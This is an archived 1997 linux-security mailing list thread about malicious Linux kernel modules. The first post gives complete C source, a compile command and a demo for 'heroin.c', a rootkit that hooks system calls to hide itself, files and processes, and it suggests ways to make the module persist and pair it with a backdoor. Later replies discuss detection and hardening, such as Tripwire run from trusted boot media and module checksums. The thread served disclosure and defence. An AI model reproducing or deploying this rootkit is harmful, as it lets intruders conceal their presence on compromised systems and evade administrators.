As halflife demonstrated in Phrack 50 with his linspy project, it is trivial to patch any system call under Linux from within a module. This means that once your system has been compromised at the root level, it is possible for an intruder to hide completely _without_ modifying any binaries or leaving any visible backdoors behind. Because such tools are likely to be in use within the hacker community already, I decided to publish a piece of code to demonstrate the potentials of a malicious module. The following piece of code is a fully working Linux module for 2.1 kernels that patches the getdents(), kill(), read() and query_module() calls. Once loaded, the module becomes invisible to lsmod and a dump of /proc/modules by modifying the output of every query_module() call and every read() call accessing /proc/modules. Apparently rmmod also calls query_module() to list all modules before attempting to remove the specified module, and will therefore claim that the module does not exist even if you know its name. The output of any getdents() call is modified to hide any files or directories starting with a given string, leaving them accessible only if you know their exact names. It also hides any directories in /proc matching pids that have a specified flag set in its internal task structure, allowing a user with root access to hide any process (and its children, since the task structure is duplicated when the process does a fork()). To set this flag, simply send the process a signal 31 which is caught and handled by the patched kill() call. To demonstrate the effects... [root@image:~/test]# ls -l total 3 -rw------- 1 root root 2832 Oct 8 16:52 heroin.o [root@image:~/test]# insmod heroin.o [root@image:~/test]# lsmod | grep heroin [root@image:~/test]# grep heroin /proc/modules [root@image:~/test]# rmmod heroin rmmod: module heroin not loaded [root@image:~/test]# ls -l total 0 [root@image:~/test]# echo "I''m invisible" > heroin_test [root@image:~/test]# ls -l total 0 [root@image:~/test]# cat heroin_test I''m invisible [root@image:~/test]# ps -aux | grep gpm root 223 0.0 1.0 932 312 ? S 16:08 0:00 gpm [root@image:~/test]# kill -31 223 [root@image:~/test]# ps -aux | grep gpm [root@image:~/test]# ps -aux 223 USER PID %CPU %MEM SIZE RSS TTY STAT START TIME COMMAND root 223 0.0 1.0 932 312 ? S 16:08 0:00 gpm [root@image:~/test]# ls -l /proc | grep 223 [root@image:~/test]# ls -l /proc/223 total 0 -r--r--r-- 1 root root 0 Oct 8 16:53 cmdline lrwx------ 1 root root 0 Oct 8 16:54 cwd -> /var/run -r-------- 1 root root 0 Oct 8 16:54 environ lrwx------ 1 root root 0 Oct 8 16:54 exe -> /usr/bin/gpm dr-x------ 1 root root 0 Oct 8 16:54 fd pr--r--r-- 1 root root 0 Oct 8 16:54 maps -rw------- 1 root root 0 Oct 8 16:54 mem lrwx------ 1 root root 0 Oct 8 16:54 root -> / -r--r--r-- 1 root root 0 Oct 8 16:53 stat -r--r--r-- 1 root root 0 Oct 8 16:54 statm -r--r--r-- 1 root root 0 Oct 8 16:54 status [root@image:~/test]# The implications should be obvious. Once a compromise has taken place, nothing can be trusted, the operating system included. A module such as this could be placed in /lib/modules/<kernel_ver>/default to force it to be loaded after every reboot, or put in place of a commonly used module and in turn have it load the required module for an added level of protection. (Thanks Sean :) Combined with a reasonably obscure remote backdoor it could remain undetected for long periods of time unless the system administrator knows what to look for. It could even hide the packets going to and from this backdoor from the kernel itself to prevent a local packet sniffer from seeing them. So how can it be detected? In this case, since the number of processes is limited, one could try to open every possible process directory in /proc and look for the ones that do not show up otherwise. Using readdir() instead of getdents() will not work, since it appears to be just a wrapper for getdents(). In short, trying to locate something like this without knowing exactly what to look for is rather futile if done in userspace... Be afraid. Be very afraid. ;) [mod: And be aware that for demonstration purposes, the "cloaking" is not perfect in this case. The access to /proc/223 demonstrated to still work above, could also be disallowed. -- REW] .../ru ----- /* * heroin.c * * Runar Jensen <zarq@opaque.org> * * This Linux kernel module patches the getdents(), kill(), read() * and query_module() system calls to demonstrate the potential * dangers of the way modules have full access to the entire kernel. * * Once loaded, the module becomes invisible and can not be removed * with rmmod. Any files or directories starting with the string * defined by MAGIC_PREFIX appear to disappear, and sending a signal * 31 to any process as root effectively hides it and all its future * children. * * This code should compile cleanly and work with most (if not all) * recent 2.1.x kernels, and has been tested under 2.1.44 and 2.1.57. * It will not compile as is under 2.0.30, since 2.0.30 lacks the * query_module() function. * * Compile with: * gcc -O2 -fomit-frame-pointer -DMODULE -D__KERNEL__ -c heroin.c */ #include <linux/fs.h> #include <linux/module.h> #include <linux/modversions.h> #include <linux/malloc.h> #include <linux/unistd.h> #include <sys/syscall.h> #include <linux/dirent.h> #include <linux/proc_fs.h> #include <stdlib.h> #define MAGIC_PREFIX "heroin" #define PF_INVISIBLE 0x10000000 #define SIGINVISI 31 int errno; static inline _syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count); static inline _syscall2(int, kill, pid_t, pid, int, sig); static inline _syscall3(ssize_t, read, int, fd, void *, buf, size_t, count); static inline _syscall5(int, query_module, const char *, name, int, which, void *, buf, size_t, bufsize, size_t *, ret); extern void *sys_call_table[]; int (*original_getdents)(unsigned int, struct dirent *, unsigned int); int (*original_kill)(pid_t, int); int (*original_read)(int, void *, size_t); int (*original_query_module)(const char *, int, void *, size_t, size_t *); int myatoi(char *str) { int res = 0; int mul = 1; char *ptr; for(ptr = str + strlen(str) - 1; ptr >= str; ptr--) { if(*ptr < ''0'' || *ptr > ''9'') return(-1); res += (*ptr - ''0'') * mul; mul *= 10; } return(res); } void mybcopy(char *src, char *dst, unsigned int num) { while(num--) *(dst++) = *(src++); } int mystrcmp(char *str1, char *str2) { while(*str1 && *str2) if(*(str1++) != *(str2++)) return(-1); return(0); } struct task_struct *find_task(pid_t pid) { struct task_struct *task = current; do { if(task->pid == pid) return(task); task = task->next_task; } while(task != current); return(NULL); } int is_invisible(pid_t pid) { struct task_struct *task; if((task = find_task(pid)) == NULL) return(0); if(task->flags & PF_INVISIBLE) return(1); return(0); } int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) { int res; int proc = 0; struct inode *dinode; char *ptr = (char *)dirp; struct dirent *curr; struct dirent *prev = NULL; res = (*original_getdents)(fd, dirp, count); if(!res) return(res); if(res == -1) return(-errno); #ifdef __LINUX_DCACHE_H dinode = current->files->fd[fd]->f_dentry->d_inode; #else dinode = current->files->fd[fd]->f_inode; #endif if(dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1) proc = 1; while(ptr < (char *)dirp + res) { curr = (struct dirent *)ptr; if((!proc && !mystrcmp(MAGIC_PREFIX, curr->d_name)) || (proc && is_invisible(myatoi(curr->d_name)))) { if(curr == dirp) { res -= curr->d_reclen; mybcopy(ptr + curr->d_reclen, ptr, res); continue; } else prev->d_reclen += curr->d_reclen; } else prev = curr; ptr += curr->d_reclen; } return(res); } int hacked_kill(pid_t pid, int sig) { int res; struct task_struct *task = current; if(sig != SIGINVISI) { res = (*original_kill)(pid, sig); if(res == -1) return(-errno); return(res); } if((task = find_task(pid)) == NULL) return(-ESRCH); if(current->uid && current->euid) return(-EPERM); task->flags |= PF_INVISIBLE; return(0); } int hacked_read(int fd, char *buf, size_t count) { int res; char *ptr, *match; struct inode *dinode; res = (*original_read)(fd, buf, count); if(res == -1) return(-errno); #ifdef __LINUX_DCACHE_H dinode = current->files->fd[fd]->f_dentry->d_inode; #else dinode = current->files->fd[fd]->f_inode; #endif if(dinode->i_ino != PROC_MODULES || MAJOR(dinode->i_dev) || MINOR(dinode->i_dev) != 1) return(res); ptr = buf; while(ptr < buf + res) { if(!mystrcmp(MAGIC_PREFIX, ptr)) { match = ptr; while(*ptr && *ptr != ''\n'') ptr++; ptr++; mybcopy(ptr, match, (buf + res) - ptr); res = res - (ptr - match); return(res); } while(*ptr && *ptr != ''\n'') ptr++; ptr++; } return(res); } int hacked_query_module(const char *name, int which, void *buf, size_t bufsize, size_t *ret) { int res; int cnt; char *ptr, *match; res = (*original_query_module)(name, which, buf, bufsize, ret); if(res == -1) return(-errno); if(which != QM_MODULES) return(res); ptr = buf; for(cnt = 0; cnt < *ret; cnt++) { if(!mystrcmp(MAGIC_PREFIX, ptr)) { match = ptr; while(*ptr) ptr++; ptr++; mybcopy(ptr, match, bufsize - (ptr - (char *)buf)); (*ret)--; return(res); } while(*ptr) ptr++; ptr++; } return(res); } int init_module(void) { original_getdents = sys_call_table[SYS_getdents]; sys_call_table[SYS_getdents] = hacked_getdents; original_kill = sys_call_table[SYS_kill]; sys_call_table[SYS_kill] = hacked_kill; original_read = sys_call_table[SYS_read]; sys_call_table[SYS_read] = hacked_read; original_query_module = sys_call_table[SYS_query_module]; sys_call_table[SYS_query_module] = hacked_query_module; return(0); } void cleanup_module(void) { sys_call_table[SYS_getdents] = original_getdents; sys_call_table[SYS_kill] = original_kill; sys_call_table[SYS_read] = original_read; sys_call_table[SYS_query_module] = original_query_module; } ----- ----- Runar Jensen | Phone (318) 289-0125 | Email zarq@1stnet.com Network Administrator | or (800) 264-7440 | or zarq@opaque.org Tech Operations Mgr | Fax (318) 235-1447 | Epage zarq@page.1stnet.com FirstNet of Acadiana | Pager (318) 268-8533 | [message in subject]
In message <199710091142.HAA29040@mail.clark.net>, "Peter W" writes:>> The implications should be obvious. Once a compromise has taken place, >> nothing can be trusted, the operating system included. A module such as >> this could be placed in /lib/modules/<kernel_ver>/default to force it to be >> loaded after every reboot, or put in place of a commonly used module and in >> turn have it load the required module for an added level of protection.> Either of these situations would be "caught" by a properly configured > Tripwire. As long as Tripwire is watching /lib/modules (along with the usual > *NIX areas) it should at least be detectable and fixable. It would be up to > the admin to decide whether to shut down "cleanly" and risk some more > malicious module damage (e.g. a "cleanup" routine when shutdown starts). Of > course it sounds like you can''t trust Tripwire now unless you boot from > known good media (i.e. floppies) since the module could muck with its data. > Yuck.Once root access is gained, the module could very well be compiled and placed anywhere on the drive (like a home directory), loaded, and _then_ moved to /lib/modules. At that point the module will already be invisible to Tripwire. (This, of course, assumes that the intruder is smart enough to first get in and get root without setting off any alarms. :) I am not sure how Tripwire is started after a reboot, but I do believe that the default modules will be loaded before it does. .../ru ----- Runar Jensen | Phone (318) 289-0125 | Email zarq@1stnet.com Network Administrator | or (800) 264-7440 | or zarq@opaque.org Tech Operations Mgr | Fax (318) 235-1447 | Epage zarq@page.1stnet.com FirstNet of Acadiana | Pager (318) 268-8533 | [message in subject]
On Thu, 9 Oct 1997, Runar Jensen wrote:> In message <199710091142.HAA29040@mail.clark.net>, "Peter W" writes: > > Once root access is gained, the module could very well be compiled and placed > anywhere on the drive (like a home directory), loaded, and _then_ moved to > /lib/modules. At that point the module will already be invisible to Tripwire. > (This, of course, assumes that the intruder is smart enough to first get in > and get root without setting off any alarms. :) I am not sure how Tripwire is > started after a reboot, but I do believe that the default modules will be > loaded before it does. > > > .../ruAn easy way to defeat this module is to build a boot&root disk with uncontaminated binaries, and keep it write protected and away from the evil hackers. Then, whenever you wanted to check your system, you could boot from this pristine disk, mount your potentially hacked partitions, and run tripwire. This would defeat any boot sector, kernel, and userspace trickery .. something the antivirus people learned a while ago. I suppose you will need a separate writeable disk to write the checksums too.. But then, if the hacker breaks into your hardware, you can''t trust a boot disk either :) -vermont@gate.net , mongoloid programmer [mod: Against every "attack" there are possible counter attacks. So please cut out the "but if the module does that, I can use this to detect it" followed by the inevetable "But then I can make the module hide from that by adding ...." If you have a site that requires continued safety from hackers, make sure it is secure from the first moment it touches the internet, and keep a close watch. Re-install on the first suspicion. -- REW]
hwllo> > In message <199710091142.HAA29040@mail.clark.net>, "Peter W" writes: > > >> The implications should be obvious. Once a compromise has taken place, > > > Either of these situations would be "caught" by a properly configured > > Tripwire. > > Once root access is gained, the module could very well be compiled and placed > anywhere on the drive (like a home directory), loaded, and _then_ moved to > /lib/modules.What about this (for very secure sites and/or paranoid) 1) a (patched and minimal) kernel on a diskette, with (patched and minimal) tripwire on it and the database. At boot time tripwire is executed (instead of init) and it fsck the disks, then it checksums (this may be done by contructing the databases, not related to the all-mounted-filesystem, but to the single partitions) ; if the checksum is ok, the diskette is unmounted and the ususal root partition is mounted as / (I do not beleive this can be done right now) and tripwire execs init; otherwise the console is queried for directions on what to do. If an intrusion is probable, rebooting is a safe way to know what has happened 2) A family of patches or modules for kernel, I would call ``guardian'''' guardian.modchksum this module is loaded with a chksum of current trusted modules When someone (even kerneld) asks to load a module, the module is chksummed and refused if it is not recognized guardian.nowrite this module prohibits writing to a device. It can be used to protect /dev/hda (so that the MBR cannot be altered) or even the partition where /bin /etc are (in this case, maybee a ramdisk is created and mounted on tmp as first thing at boot time, and files like /etc/ldso.cache and /etc/mtab are linked in tmp; or I would suggest to write a module for the kernel called ``ramfile'''' that is used to have certain files reside in ram) (The swap device needs probably to be protected somehow ?) When a system is properlly installed, even /usr could be locked. guardian.notrm this module prohibits that any module called guardian* be unloaded (why not introduce a kernel password, that is asked when you rmmod a guardian module?) I believe this solution 2 is probably the best: you can have a fast system, you install it, then you lock it tightly, and it is as secure as the kernel is (and not as the weakest program you install) I am not good enough to build this modules, less even to be sure they cannot be bypassed A.Mennucci
Andrea Menucci proposed a set of kernel patchs and modules for protecting a system from malicious modules. While I think that having a checksummed list of trusted modules is a good idea. Using the kernel to prevent the hard drive from being read, doesn''t hold water. The assumption in most of the malicious module attack scenarios is that the hacker places some module as a backdoor once he has attained root. (I realize that there is also a DoS attack, but that''s not a module issue, not a Malicious module issue.) Anyway, once you have root access there will be any number of ways to access a device made read-only by the kernel. After a root compromise, I''d still be back in the boat of having to reinstall the entire machine to be sure no back doors were left. BUT there are two solutions to this problem. One is to make a hard drive physically read-only. But I don''t see many hard drives with read only jumpers any more. Progress. Or, you can burn your OS onto a CDR. Its certainly not any more trouble than whatever you''d have to go through with a module that wouldn''t let you write to your hard drive. With bootable CD-ROM''s you don''t even have to worry about hard drive boot-sector hacks. </chris> Neither Sweat, nor blood, nor frustration, or lousy manuals nor missing parts, or wrong parts shall keep me from my task.
Jason Uhlenkott
1997-Oct-14 05:38 UTC
Re: [linux-security] Re: Re: Malicious Linux modules
Andrea Mennucci wrote:> What about this (for very secure sites and/or paranoid) >[section about a secure setup deleted -- REW] This is just a crazy idea, but what about a trojan flash bios? That would be nasty. Most (all?) motherboards with flashable bioses have a jumper that lets you boot from a non-flashable rom, to recover in case you ever mis-flash and make the system unbootable. [mod: My motherboard has a "lower 8k" that can be write protected by that jumper. This small BIOS has just enough power to boot a floppy, to allow you to flash the rest of the BIOS. This indeed implies that most of the flash BIOS is writable at all times..... -- REW] 1. Power down. 2. Set the flash bios recovery jumper. 3. Get a boot floppy from a trusted, uncompromised machine (or your own machine before it was compromised), with a copy of your flash bios. Boot from the floppy and re-flash. 4. Power down. 5. Set the jumper back. 6. Before your machine was compromised, you should have made a floppy with a kernel, the necessary stuff to get booted up, the tripwire binary, and a clean copy of /var/spool/tripwire/tw.db_hostname. If not, it''s time to "rm -rf /". If so, boot from this floppy. 7. Mount your hard drive partition(s) noexec,nodev. 8. Use the tripwire binary and database on your floppy, and check your hard drive partition(s). 9. If everything is in order, boot your system normally again. The module guardian idea really just adds another level of security through obscurity. If the intruder can get root then they can write to /proc/kcore, and if they''re clever enough they could patch the guardian code out of the running kernel.